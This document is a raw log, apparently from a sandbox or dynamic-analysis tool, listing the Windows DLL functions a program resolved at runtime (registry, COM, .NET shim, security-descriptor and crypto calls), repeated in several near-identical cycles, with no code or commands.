DynamicLoader: ADVAPI32.dll/GetSecurityDescriptorControl
DynamicLoader: ole32.dll/CoRevokeInitializeSpy
DynamicLoader: comctl32.dll/
DynamicLoader: OLEAUT32.dll/
DynamicLoader: ADVAPI32.dll/RegOpenKeyExW
DynamicLoader: ADVAPI32.dll/RegQueryInfoKeyW
DynamicLoader: ADVAPI32.dll/RegEnumKeyExW
DynamicLoader: ADVAPI32.dll/RegEnumValueW
DynamicLoader: ADVAPI32.dll/RegCloseKey
DynamicLoader: ADVAPI32.dll/RegQueryValueExW
DynamicLoader: mscoree.dll/
DynamicLoader: ADVAPI32.dll/RegOpenKeyExW
DynamicLoader: ADVAPI32.dll/RegQueryValueExW
DynamicLoader: ADVAPI32.dll/RegCloseKey
DynamicLoader: mscoreei.dll/RegisterShimImplCallback
DynamicLoader: mscoreei.dll/RegisterShimImplCleanupCallback
DynamicLoader: mscoreei.dll/SetShellShimInstance
DynamicLoader: mscoreei.dll/OnShimDllMainCalled
DynamicLoader: mscoreei.dll/CorBindToRuntimeEx_RetAddr
DynamicLoader: mscoreei.dll/CorBindToRuntimeEx
DynamicLoader: SHLWAPI.dll/UrlIsW
DynamicLoader: kernel32.dll/GetCurrentPackageId
DynamicLoader: cryptbase.dll/SystemFunction036
DynamicLoader: ole32.dll/CoCreateInstance
DynamicLoader: shell32.dll/
DynamicLoader: ole32.dll/CoGetApartmentType
DynamicLoader: ole32.dll/CoRegisterInitializeSpy
DynamicLoader: ole32.dll/CoTaskMemFree
DynamicLoader: comctl32.dll/
DynamicLoader: OLEAUT32.dll/
DynamicLoader: ole32.dll/CoTaskMemAlloc
DynamicLoader: ole32.dll/CoGetMalloc
DynamicLoader: ole32.dll/CoInitializeEx
DynamicLoader: ole32.dll/CreateBindCtx
DynamicLoader: ole32.dll/CoTaskMemAlloc
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: ADVAPI32.dll/RegEnumKeyW
DynamicLoader: OLEAUT32.dll/
DynamicLoader: SETUPAPI.dll/CM_Get_Device_Interface_List_Size_ExW
DynamicLoader: ADVAPI32.dll/InitializeSecurityDescriptor
DynamicLoader: ADVAPI32.dll/SetEntriesInAclW
DynamicLoader: ntmarta.dll/GetMartaExtensionInterface
DynamicLoader: SETUPAPI.dll/CM_Get_Device_Interface_List_ExW
DynamicLoader: ADVAPI32.dll/SetSecurityDescriptorDacl
DynamicLoader: ADVAPI32.dll/IsTextUnicode
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: shell32.dll/
DynamicLoader: ole32.dll/CoUninitialize
DynamicLoader: ole32.dll/CoGetMalloc
DynamicLoader: ole32.dll/CoTaskMemFree
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: ntdll.dll/RtlDllShutdownInProgress
DynamicLoader: propsys.dll/PSCreateMemoryPropertyStore
DynamicLoader: sechost.dll/ConvertSidToStringSidW
DynamicLoader: profapi.dll/
DynamicLoader: LINKINFO.dll/CreateLinkInfoW
DynamicLoader: USER32.dll/IsCharAlphaW
DynamicLoader: USER32.dll/CharPrevW
DynamicLoader: ntshrui.dll/GetNetResourceFromLocalPathW
DynamicLoader: srvcli.dll/NetShareEnum
DynamicLoader: cscapi.dll/CscNetApiGetInterface
DynamicLoader: slc.dll/SLGetWindowsInformationDWORD
DynamicLoader: SHLWAPI.dll/PathRemoveFileSpecW
DynamicLoader: LINKINFO.dll/DestroyLinkInfo
DynamicLoader: propsys.dll/PropVariantToBoolean
DynamicLoader: ole32.dll/PropVariantClear
DynamicLoader: CRYPTSP.dll/CryptAcquireContextW
DynamicLoader: CRYPTSP.dll/CryptGenRandom
DynamicLoader: CRYPTSP.dll/CryptReleaseContext
DynamicLoader: ole32.dll/CoRevokeInitializeSpy
DynamicLoader: comctl32.dll/
DynamicLoader: OLEAUT32.dll/
DynamicLoader: ADVAPI32.dll/RegOpenKeyExW
DynamicLoader: ADVAPI32.dll/RegQueryInfoKeyW
DynamicLoader: ADVAPI32.dll/RegEnumKeyExW
DynamicLoader: ADVAPI32.dll/RegEnumValueW
DynamicLoader: ADVAPI32.dll/RegCloseKey
DynamicLoader: ADVAPI32.dll/RegQueryValueExW
DynamicLoader: mscoree.dll/
DynamicLoader: ADVAPI32.dll/RegOpenKeyExW
DynamicLoader: ADVAPI32.dll/RegQueryValueExW
DynamicLoader: ADVAPI32.dll/RegCloseKey
DynamicLoader: mscoreei.dll/RegisterShimImplCallback
DynamicLoader: mscoreei.dll/RegisterShimImplCleanupCallback
DynamicLoader: mscoreei.dll/SetShellShimInstance
DynamicLoader: mscoreei.dll/OnShimDllMainCalled
DynamicLoader: mscoreei.dll/CorBindToRuntimeEx_RetAddr
DynamicLoader: mscoreei.dll/CorBindToRuntimeEx
DynamicLoader: SHLWAPI.dll/UrlIsW
DynamicLoader: kernel32.dll/GetCurrentPackageId
DynamicLoader: kernel32.dll/SetThreadUILanguage
DynamicLoader: kernel32.dll/CopyFileExW
DynamicLoader: kernel32.dll/IsDebuggerPresent
DynamicLoader: kernel32.dll/SetConsoleInputExeNameW
DynamicLoader: kernel32.dll/SortGetHandle
DynamicLoader: kernel32.dll/SortCloseHandle
DynamicLoader: cryptbase.dll/SystemFunction036
DynamicLoader: ole32.dll/CoCreateInstance
DynamicLoader: shell32.dll/
DynamicLoader: ole32.dll/CoGetApartmentType
DynamicLoader: ole32.dll/CoRegisterInitializeSpy
DynamicLoader: ole32.dll/CoTaskMemFree
DynamicLoader: comctl32.dll/
DynamicLoader: OLEAUT32.dll/
DynamicLoader: ole32.dll/CoTaskMemAlloc
DynamicLoader: ole32.dll/CoGetMalloc
DynamicLoader: ole32.dll/CoInitializeEx
DynamicLoader: ole32.dll/CreateBindCtx
DynamicLoader: ole32.dll/CoTaskMemAlloc
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: SETUPAPI.dll/CM_Get_Device_Interface_List_Size_ExW
DynamicLoader: ADVAPI32.dll/RegEnumKeyW
DynamicLoader: OLEAUT32.dll/
DynamicLoader: SETUPAPI.dll/CM_Get_Device_Interface_List_ExW
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: ADVAPI32.dll/InitializeSecurityDescriptor
DynamicLoader: ADVAPI32.dll/SetEntriesInAclW
DynamicLoader: ntmarta.dll/GetMartaExtensionInterface
DynamicLoader: ADVAPI32.dll/SetSecurityDescriptorDacl
DynamicLoader: ADVAPI32.dll/IsTextUnicode
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: shell32.dll/
DynamicLoader: ole32.dll/CoUninitialize
DynamicLoader: ole32.dll/CoGetMalloc
DynamicLoader: ole32.dll/CoTaskMemFree
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: ntdll.dll/RtlDllShutdownInProgress
DynamicLoader: propsys.dll/PSCreateMemoryPropertyStore
DynamicLoader: sechost.dll/ConvertSidToStringSidW
DynamicLoader: profapi.dll/
DynamicLoader: LINKINFO.dll/CreateLinkInfoW
DynamicLoader: USER32.dll/IsCharAlphaW
DynamicLoader: USER32.dll/CharPrevW
DynamicLoader: ntshrui.dll/GetNetResourceFromLocalPathW
DynamicLoader: srvcli.dll/NetShareEnum
DynamicLoader: cscapi.dll/CscNetApiGetInterface
DynamicLoader: slc.dll/SLGetWindowsInformationDWORD
DynamicLoader: SHLWAPI.dll/PathRemoveFileSpecW
DynamicLoader: LINKINFO.dll/DestroyLinkInfo
DynamicLoader: propsys.dll/PropVariantToBoolean
DynamicLoader: ole32.dll/PropVariantClear
DynamicLoader: CRYPTSP.dll/CryptAcquireContextW
DynamicLoader: CRYPTSP.dll/CryptGenRandom
DynamicLoader: CRYPTSP.dll/CryptReleaseContext
DynamicLoader: ADVAPI32.dll/GetSecurityInfo
DynamicLoader: ADVAPI32.dll/SetSecurityInfo
DynamicLoader: ADVAPI32.dll/GetSecurityDescriptorControl
DynamicLoader: ole32.dll/CoRevokeInitializeSpy
DynamicLoader: comctl32.dll/
DynamicLoader: OLEAUT32.dll/
DynamicLoader: ADVAPI32.dll/RegOpenKeyExW
DynamicLoader: ADVAPI32.dll/RegQueryInfoKeyW
DynamicLoader: ADVAPI32.dll/RegEnumKeyExW
DynamicLoader: ADVAPI32.dll/RegEnumValueW
DynamicLoader: ADVAPI32.dll/RegCloseKey
DynamicLoader: ADVAPI32.dll/RegQueryValueExW
DynamicLoader: mscoree.dll/
DynamicLoader: ADVAPI32.dll/RegOpenKeyExW
DynamicLoader: ADVAPI32.dll/RegQueryValueExW
DynamicLoader: ADVAPI32.dll/RegCloseKey
DynamicLoader: mscoreei.dll/RegisterShimImplCallback
DynamicLoader: mscoreei.dll/RegisterShimImplCleanupCallback
DynamicLoader: mscoreei.dll/SetShellShimInstance
DynamicLoader: mscoreei.dll/OnShimDllMainCalled
DynamicLoader: mscoreei.dll/CorBindToRuntimeEx_RetAddr
DynamicLoader: mscoreei.dll/CorBindToRuntimeEx
DynamicLoader: SHLWAPI.dll/UrlIsW
DynamicLoader: kernel32.dll/GetCurrentPackageId
DynamicLoader: kernel32.dll/SetThreadUILanguage
DynamicLoader: kernel32.dll/CopyFileExW
DynamicLoader: kernel32.dll/IsDebuggerPresent
DynamicLoader: kernel32.dll/SetConsoleInputExeNameW
DynamicLoader: kernel32.dll/SortGetHandle
DynamicLoader: kernel32.dll/SortCloseHandle
DynamicLoader: cryptbase.dll/SystemFunction036
DynamicLoader: ole32.dll/CoCreateInstance
DynamicLoader: shell32.dll/
DynamicLoader: ole32.dll/CoGetApartmentType
DynamicLoader: ole32.dll/CoRegisterInitializeSpy
DynamicLoader: ole32.dll/CoTaskMemFree
DynamicLoader: comctl32.dll/
DynamicLoader: OLEAUT32.dll/
DynamicLoader: ole32.dll/CoTaskMemAlloc
DynamicLoader: ole32.dll/CoGetMalloc
DynamicLoader: ole32.dll/CoInitializeEx
DynamicLoader: ole32.dll/CreateBindCtx
DynamicLoader: ole32.dll/CoTaskMemAlloc
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: ADVAPI32.dll/RegEnumKeyW
DynamicLoader: OLEAUT32.dll/
DynamicLoader: ADVAPI32.dll/InitializeSecurityDescriptor
DynamicLoader: SETUPAPI.dll/CM_Get_Device_Interface_List_Size_ExW
DynamicLoader: ADVAPI32.dll/SetEntriesInAclW
DynamicLoader: SETUPAPI.dll/CM_Get_Device_Interface_List_ExW
DynamicLoader: ntmarta.dll/GetMartaExtensionInterface
DynamicLoader: ADVAPI32.dll/SetSecurityDescriptorDacl
DynamicLoader: ADVAPI32.dll/IsTextUnicode
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: shell32.dll/
DynamicLoader: ole32.dll/CoUninitialize
DynamicLoader: ole32.dll/CoGetMalloc
DynamicLoader: ole32.dll/CoTaskMemFree
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: ntdll.dll/RtlDllShutdownInProgress
DynamicLoader: LINKINFO.dll/IsValidLinkInfo
DynamicLoader: propsys.dll/
DynamicLoader: propsys.dll/PSGetNameFromPropertyKey
DynamicLoader: propsys.dll/PSStringFromPropertyKey
DynamicLoader: propsys.dll/InitVariantFromBuffer
DynamicLoader: OLEAUT32.dll/
DynamicLoader: propsys.dll/PropVariantToGUID
DynamicLoader: ole32.dll/PropVariantClear
DynamicLoader: propsys.dll/PSCreateMemoryPropertyStore
DynamicLoader: sechost.dll/ConvertSidToStringSidW
DynamicLoader: profapi.dll/
DynamicLoader: LINKINFO.dll/CreateLinkInfoW
DynamicLoader: USER32.dll/IsCharAlphaW
DynamicLoader: USER32.dll/CharPrevW
DynamicLoader: ntshrui.dll/GetNetResourceFromLocalPathW
DynamicLoader: srvcli.dll/NetShareEnum
DynamicLoader: cscapi.dll/CscNetApiGetInterface
DynamicLoader: slc.dll/SLGetWindowsInformationDWORD
DynamicLoader: SHLWAPI.dll/PathRemoveFileSpecW
DynamicLoader: LINKINFO.dll/DestroyLinkInfo
DynamicLoader: propsys.dll/PropVariantToBoolean
DynamicLoader: CRYPTSP.dll/CryptAcquireContextW
DynamicLoader: CRYPTSP.dll/CryptGenRandom
DynamicLoader: CRYPTSP.dll/CryptReleaseContext
DynamicLoader: ADVAPI32.dll/GetSecurityInfo
DynamicLoader: ADVAPI32.dll/SetSecurityInfo
DynamicLoader: ADVAPI32.dll/GetSecurityDescriptorControl
DynamicLoader: ole32.dll/CoRevokeInitializeSpy
DynamicLoader: comctl32.dll/
DynamicLoader: OLEAUT32.dll/
DynamicLoader: ADVAPI32.dll/RegOpenKeyExW
DynamicLoader: ADVAPI32.dll/RegQueryInfoKeyW
DynamicLoader: ADVAPI32.dll/RegEnumKeyExW
DynamicLoader: ADVAPI32.dll/RegEnumValueW
DynamicLoader: ADVAPI32.dll/RegCloseKey
DynamicLoader: ADVAPI32.dll/RegQueryValueExW
DynamicLoader: mscoree.dll/
DynamicLoader: ADVAPI32.dll/RegOpenKeyExW
DynamicLoader: ADVAPI32.dll/RegQueryValueExW
DynamicLoader: ADVAPI32.dll/RegCloseKey
DynamicLoader: mscoreei.dll/RegisterShimImplCallback
DynamicLoader: mscoreei.dll/RegisterShimImplCleanupCallback
DynamicLoader: mscoreei.dll/SetShellShimInstance
DynamicLoader: mscoreei.dll/OnShimDllMainCalled
DynamicLoader: mscoreei.dll/CorBindToRuntimeEx_RetAddr
DynamicLoader: mscoreei.dll/CorBindToRuntimeEx
DynamicLoader: SHLWAPI.dll/UrlIsW
DynamicLoader: kernel32.dll/GetCurrentPackageId
DynamicLoader: kernel32.dll/SetThreadUILanguage
DynamicLoader: kernel32.dll/CopyFileExW
DynamicLoader: kernel32.dll/IsDebuggerPresent
DynamicLoader: kernel32.dll/SetConsoleInputExeNameW
DynamicLoader: kernel32.dll/SortGetHandle
DynamicLoader: kernel32.dll/SortCloseHandle
DynamicLoader: cryptbase.dll/SystemFunction036
DynamicLoader: ole32.dll/CoCreateInstance
DynamicLoader: shell32.dll/
DynamicLoader: ole32.dll/CoGetApartmentType
DynamicLoader: ole32.dll/CoRegisterInitializeSpy
DynamicLoader: ole32.dll/CoTaskMemFree
DynamicLoader: comctl32.dll/
DynamicLoader: OLEAUT32.dll/
DynamicLoader: ole32.dll/CoTaskMemAlloc
DynamicLoader: ole32.dll/CoGetMalloc
DynamicLoader: ole32.dll/CoInitializeEx
DynamicLoader: ole32.dll/CreateBindCtx
DynamicLoader: ole32.dll/CoTaskMemAlloc
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: SETUPAPI.dll/CM_Get_Device_Interface_List_Size_ExW
DynamicLoader: ADVAPI32.dll/RegEnumKeyW
DynamicLoader: OLEAUT32.dll/
DynamicLoader: SETUPAPI.dll/CM_Get_Device_Interface_List_ExW
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: ADVAPI32.dll/InitializeSecurityDescriptor
DynamicLoader: ADVAPI32.dll/SetEntriesInAclW
DynamicLoader: ntmarta.dll/GetMartaExtensionInterface
DynamicLoader: ADVAPI32.dll/SetSecurityDescriptorDacl
DynamicLoader: ADVAPI32.dll/IsTextUnicode
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: shell32.dll/
DynamicLoader: ole32.dll/CoUninitialize
DynamicLoader: ole32.dll/CoGetMalloc
DynamicLoader: ole32.dll/CoTaskMemFree
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: ntdll.dll/RtlDllShutdownInProgress
DynamicLoader: LINKINFO.dll/IsValidLinkInfo
DynamicLoader: propsys.dll/
DynamicLoader: propsys.dll/PSGetNameFromPropertyKey
DynamicLoader: propsys.dll/PSStringFromPropertyKey
DynamicLoader: propsys.dll/InitVariantFromBuffer
DynamicLoader: OLEAUT32.dll/
DynamicLoader: propsys.dll/PropVariantToGUID
DynamicLoader: ole32.dll/PropVariantClear
DynamicLoader: propsys.dll/PSCreateMemoryPropertyStore
DynamicLoader: sechost.dll/ConvertSidToStringSidW
DynamicLoader: profapi.dll/
DynamicLoader: LINKINFO.dll/CreateLinkInfoW
DynamicLoader: USER32.dll/IsCharAlphaW
DynamicLoader: USER32.dll/CharPrevW
DynamicLoader: ntshrui.dll/GetNetResourceFromLocalPathW
DynamicLoader: srvcli.dll/NetShareEnum
DynamicLoader: cscapi.dll/CscNetApiGetInterface
DynamicLoader: slc.dll/SLGetWindowsInformationDWORD
DynamicLoader: SHLWAPI.dll/PathRemoveFileSpecW
DynamicLoader: LINKINFO.dll/DestroyLinkInfo
DynamicLoader: propsys.dll/PropVariantToBoolean
DynamicLoader: CRYPTSP.dll/CryptAcquireContextW
DynamicLoader: CRYPTSP.dll/CryptGenRandom
DynamicLoader: CRYPTSP.dll/CryptReleaseContext
DynamicLoader: ADVAPI32.dll/GetSecurityInfo
DynamicLoader: ADVAPI32.dll/SetSecurityInfo
DynamicLoader: ADVAPI32.dll/GetSecurityDescriptorControl
DynamicLoader: ole32.dll/CoRevokeInitializeSpy
DynamicLoader: comctl32.dll/
DynamicLoader: OLEAUT32.dll/
DynamicLoader: ADVAPI32.dll/RegOpenKeyExW
DynamicLoader: ADVAPI32.dll/RegQueryInfoKeyW
DynamicLoader: ADVAPI32.dll/RegEnumKeyExW
DynamicLoader: ADVAPI32.dll/RegEnumValueW
DynamicLoader: ADVAPI32.dll/RegCloseKey
DynamicLoader: ADVAPI32.dll/RegQueryValueExW
DynamicLoader: mscoree.dll/
DynamicLoader: ADVAPI32.dll/RegOpenKeyExW
DynamicLoader: ADVAPI32.dll/RegQueryValueExW
DynamicLoader: ADVAPI32.dll/RegCloseKey
DynamicLoader: mscoreei.dll/RegisterShimImplCallback
DynamicLoader: mscoreei.dll/RegisterShimImplCleanupCallback
DynamicLoader: mscoreei.dll/SetShellShimInstance
DynamicLoader: mscoreei.dll/OnShimDllMainCalled
DynamicLoader: mscoreei.dll/CorBindToRuntimeEx_RetAddr
DynamicLoader: mscoreei.dll/CorBindToRuntimeEx
DynamicLoader: SHLWAPI.dll/UrlIsW
DynamicLoader: kernel32.dll/GetCurrentPackageId
DynamicLoader: kernel32.dll/SetThreadUILanguage
DynamicLoader: kernel32.dll/CopyFileExW
DynamicLoader: kernel32.dll/IsDebuggerPresent
DynamicLoader: kernel32.dll/SetConsoleInputExeNameW
DynamicLoader: kernel32.dll/SortGetHandle
DynamicLoader: kernel32.dll/SortCloseHandle
DynamicLoader: cryptbase.dll/SystemFunction036
DynamicLoader: ole32.dll/CoCreateInstance
DynamicLoader: shell32.dll/
DynamicLoader: ole32.dll/CoGetApartmentType
DynamicLoader: ole32.dll/CoRegisterInitializeSpy
DynamicLoader: ole32.dll/CoTaskMemFree
DynamicLoader: comctl32.dll/
DynamicLoader: OLEAUT32.dll/
DynamicLoader: ole32.dll/CoTaskMemAlloc
DynamicLoader: ole32.dll/CoGetMalloc
DynamicLoader: ole32.dll/CoInitializeEx
DynamicLoader: ole32.dll/CreateBindCtx
DynamicLoader: ole32.dll/CoTaskMemAlloc
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: ADVAPI32.dll/RegEnumKeyW
DynamicLoader: OLEAUT32.dll/
DynamicLoader: ADVAPI32.dll/InitializeSecurityDescriptor
DynamicLoader: ADVAPI32.dll/SetEntriesInAclW
DynamicLoader: ntmarta.dll/GetMartaExtensionInterface
DynamicLoader: ADVAPI32.dll/SetSecurityDescriptorDacl
DynamicLoader: ADVAPI32.dll/IsTextUnicode
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: shell32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: ole32.dll/CoUninitialize
DynamicLoader: ole32.dll/CoGetMalloc
DynamicLoader: ole32.dll/CoTaskMemFree
DynamicLoader: SETUPAPI.dll/CM_Get_Device_Interface_List_Size_ExW
DynamicLoader: SETUPAPI.dll/CM_Get_Device_Interface_List_ExW
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: ntdll.dll/RtlDllShutdownInProgress
DynamicLoader: LINKINFO.dll/IsValidLinkInfo
DynamicLoader: propsys.dll/
DynamicLoader: propsys.dll/PSGetNameFromPropertyKey
DynamicLoader: propsys.dll/PSStringFromPropertyKey
DynamicLoader: propsys.dll/InitVariantFromBuffer
DynamicLoader: OLEAUT32.dll/
DynamicLoader: propsys.dll/PropVariantToGUID
DynamicLoader: ole32.dll/PropVariantClear
DynamicLoader: propsys.dll/PSCreateMemoryPropertyStore
DynamicLoader: sechost.dll/ConvertSidToStringSidW
DynamicLoader: profapi.dll/
DynamicLoader: LINKINFO.dll/CreateLinkInfoW
DynamicLoader: USER32.dll/IsCharAlphaW
DynamicLoader: USER32.dll/CharPrevW
DynamicLoader: ntshrui.dll/GetNetResourceFromLocalPathW
DynamicLoader: srvcli.dll/NetShareEnum
DynamicLoader: cscapi.dll/CscNetApiGetInterface
DynamicLoader: slc.dll/SLGetWindowsInformationDWORD
DynamicLoader: SHLWAPI.dll/PathRemoveFileSpecW
DynamicLoader: LINKINFO.dll/DestroyLinkInfo
DynamicLoader: propsys.dll/PropVariantToBoolean
DynamicLoader: CRYPTSP.dll/CryptAcquireContextW
DynamicLoader: CRYPTSP.dll/CryptGenRandom
DynamicLoader: CRYPTSP.dll/CryptReleaseContext
DynamicLoader: ADVAPI32.dll/GetSecurityInfo
DynamicLoader: ADVAPI32.dll/SetSecurityInfo
DynamicLoader: ADVAPI32.dll/GetSecurityDescriptorControl
DynamicLoader: ole32.dll/CoRevokeInitializeSpy
DynamicLoader: comctl32.dll/
DynamicLoader: OLEAUT32.dll/
DynamicLoader: ADVAPI32.dll/RegOpenKeyExW
DynamicLoader: ADVAPI32.dll/RegQueryInfoKeyW
DynamicLoader: ADVAPI32.dll/RegEnumKeyExW
DynamicLoader: ADVAPI32.dll/RegEnumValueW
DynamicLoader: ADVAPI32.dll/RegCloseKey
DynamicLoader: ADVAPI32.dll/RegQueryValueExW
DynamicLoader: mscoree.dll/
DynamicLoader: ADVAPI32.dll/RegOpenKeyExW
DynamicLoader: ADVAPI32.dll/RegQueryValueExW
DynamicLoader: ADVAPI32.dll/RegCloseKey
DynamicLoader: mscoreei.dll/RegisterShimImplCallback
DynamicLoader: mscoreei.dll/RegisterShimImplCleanupCallback
DynamicLoader: mscoreei.dll/SetShellShimInstance
DynamicLoader: mscoreei.dll/OnShimDllMainCalled
DynamicLoader: mscoreei.dll/CorBindToRuntimeEx_RetAddr
DynamicLoader: mscoreei.dll/CorBindToRuntimeEx
DynamicLoader: SHLWAPI.dll/UrlIsW
DynamicLoader: kernel32.dll/GetCurrentPackageId
DynamicLoader: kernel32.dll/SetThreadUILanguage
DynamicLoader: kernel32.dll/CopyFileExW
DynamicLoader: kernel32.dll/IsDebuggerPresent
DynamicLoader: kernel32.dll/SetConsoleInputExeNameW
DynamicLoader: kernel32.dll/SortGetHandle
DynamicLoader: kernel32.dll/SortCloseHandle
DynamicLoader: cryptbase.dll/SystemFunction036
DynamicLoader: ole32.dll/CoCreateInstance
DynamicLoader: shell32.dll/
DynamicLoader: ole32.dll/CoGetApartmentType
DynamicLoader: ole32.dll/CoRegisterInitializeSpy
DynamicLoader: ole32.dll/CoTaskMemFree
DynamicLoader: comctl32.dll/
DynamicLoader: OLEAUT32.dll/
DynamicLoader: ole32.dll/CoTaskMemAlloc
DynamicLoader: ole32.dll/CoGetMalloc
DynamicLoader: ole32.dll/CoInitializeEx
DynamicLoader: ole32.dll/CreateBindCtx
DynamicLoader: ole32.dll/CoTaskMemAlloc
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: ADVAPI32.dll/RegEnumKeyW
DynamicLoader: OLEAUT32.dll/
DynamicLoader: ADVAPI32.dll/InitializeSecurityDescriptor
DynamicLoader: ADVAPI32.dll/SetEntriesInAclW
DynamicLoader: SETUPAPI.dll/CM_Get_Device_Interface_List_Size_ExW
DynamicLoader: ntmarta.dll/GetMartaExtensionInterface
DynamicLoader: ADVAPI32.dll/SetSecurityDescriptorDacl
DynamicLoader: ADVAPI32.dll/IsTextUnicode
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: shell32.dll/
DynamicLoader: SETUPAPI.dll/CM_Get_Device_Interface_List_ExW
DynamicLoader: comctl32.dll/
DynamicLoader: ole32.dll/CoUninitialize
DynamicLoader: ole32.dll/CoGetMalloc
DynamicLoader: ole32.dll/CoTaskMemFree
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: ntdll.dll/RtlDllShutdownInProgress
DynamicLoader: propsys.dll/PSCreateMemoryPropertyStore
DynamicLoader: sechost.dll/ConvertSidToStringSidW
DynamicLoader: profapi.dll/
DynamicLoader: LINKINFO.dll/CreateLinkInfoW
DynamicLoader: USER32.dll/IsCharAlphaW
DynamicLoader: USER32.dll/CharPrevW
DynamicLoader: ntshrui.dll/GetNetResourceFromLocalPathW
DynamicLoader: srvcli.dll/NetShareEnum
DynamicLoader: cscapi.dll/CscNetApiGetInterface
DynamicLoader: slc.dll/SLGetWindowsInformationDWORD
DynamicLoader: SHLWAPI.dll/PathRemoveFileSpecW
DynamicLoader: LINKINFO.dll/DestroyLinkInfo
DynamicLoader: propsys.dll/PropVariantToBoolean
DynamicLoader: ole32.dll/PropVariantClear
DynamicLoader: CRYPTSP.dll/CryptAcquireContextW
DynamicLoader: CRYPTSP.dll/CryptGenRandom
DynamicLoader: CRYPTSP.dll/CryptReleaseContext
DynamicLoader: ADVAPI32.dll/GetSecurityInfo
DynamicLoader: ADVAPI32.dll/SetSecurityInfo
DynamicLoader: ADVAPI32.dll/GetSecurityDescriptorControl
DynamicLoader: ole32.dll/CoRevokeInitializeSpy
DynamicLoader: comctl32.dll/
DynamicLoader: OLEAUT32.dll/
DynamicLoader: ADVAPI32.dll/RegOpenKeyExW
DynamicLoader: ADVAPI32.dll/RegQueryInfoKeyW
DynamicLoader: ADVAPI32.dll/RegEnumKeyExW
DynamicLoader: ADVAPI32.dll/RegEnumValueW
DynamicLoader: ADVAPI32.dll/RegCloseKey
DynamicLoader: ADVAPI32.dll/RegQueryValueExW
DynamicLoader: mscoree.dll/
DynamicLoader: ADVAPI32.dll/RegOpenKeyExW
DynamicLoader: ADVAPI32.dll/RegQueryValueExW
DynamicLoader: ADVAPI32.dll/RegCloseKey
DynamicLoader: mscoreei.dll/RegisterShimImplCallback
DynamicLoader: mscoreei.dll/RegisterShimImplCleanupCallback
DynamicLoader: mscoreei.dll/SetShellShimInstance
DynamicLoader: mscoreei.dll/OnShimDllMainCalled
DynamicLoader: mscoreei.dll/CorBindToRuntimeEx_RetAddr
DynamicLoader: mscoreei.dll/CorBindToRuntimeEx
DynamicLoader: SHLWAPI.dll/UrlIsW
DynamicLoader: kernel32.dll/GetCurrentPackageId
DynamicLoader: kernel32.dll/SetThreadUILanguage
DynamicLoader: kernel32.dll/CopyFileExW
DynamicLoader: kernel32.dll/IsDebuggerPresent
DynamicLoader: kernel32.dll/SetConsoleInputExeNameW
DynamicLoader: kernel32.dll/SortGetHandle
DynamicLoader: kernel32.dll/SortCloseHandle
DynamicLoader: cryptbase.dll/SystemFunction036
DynamicLoader: ole32.dll/CoCreateInstance
DynamicLoader: shell32.dll/
DynamicLoader: ole32.dll/CoGetApartmentType
DynamicLoader: ole32.dll/CoRegisterInitializeSpy
DynamicLoader: ole32.dll/CoTaskMemFree
DynamicLoader: comctl32.dll/
DynamicLoader: OLEAUT32.dll/
DynamicLoader: ole32.dll/CoTaskMemAlloc
DynamicLoader: ole32.dll/CoGetMalloc
DynamicLoader: ole32.dll/CoInitializeEx
DynamicLoader: ole32.dll/CreateBindCtx
DynamicLoader: ole32.dll/CoTaskMemAlloc
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: ADVAPI32.dll/RegEnumKeyW
DynamicLoader: OLEAUT32.dll/
DynamicLoader: ADVAPI32.dll/InitializeSecurityDescriptor
DynamicLoader: ADVAPI32.dll/SetEntriesInAclW
DynamicLoader: ntmarta.dll/GetMartaExtensionInterface
DynamicLoader: ADVAPI32.dll/SetSecurityDescriptorDacl
DynamicLoader: ADVAPI32.dll/IsTextUnicode
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: SETUPAPI.dll/CM_Get_Device_Interface_List_Size_ExW
DynamicLoader: comctl32.dll/
DynamicLoader: SETUPAPI.dll/CM_Get_Device_Interface_List_ExW
DynamicLoader: shell32.dll/
